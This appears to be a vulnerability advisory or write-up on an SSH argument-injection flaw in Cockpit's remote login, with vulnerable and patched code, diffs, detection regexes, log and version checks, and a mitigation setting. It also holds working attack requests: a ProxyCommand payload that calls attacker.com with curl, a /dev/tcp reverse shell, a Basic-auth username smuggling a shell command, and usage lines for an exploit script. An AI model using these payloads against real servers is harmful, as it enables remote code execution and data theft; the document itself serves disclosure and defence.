python3 -m cockpit.beiboot

ssh [options] <hostname> <remote-command>

ssh [options] -- <hostname> <remote-command>

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← cockpit option
arg2: -oProxyCommand=curl http://...   ←  PARSED AS SSH OPTION (not host)
arg3: python3 -ic '# cockpit-bridge'   ← becomes the "hostname" → triggers ProxyCommand

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE is not generally available, so use setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNERABLE: hardcoded path + no '--' before destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

    process = await asyncio.create_subprocess_exec(
        #  FIXED: PATH lookup instead of hardcoded path + '--' added
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

#!/usr/bin/env python3

import os, sys

# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

# Check for beiboot spawn with suspicious arguments
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Check SSH invocations from cockpit-ws user
journalctl _COMM=ssh | grep -v "^--$"

# Check if installed version is vulnerable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerable if version is between 327 and 359 inclusive

rpm -q cockpit-ws
# Same version check applies

python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

[WebService]
LoginTo = false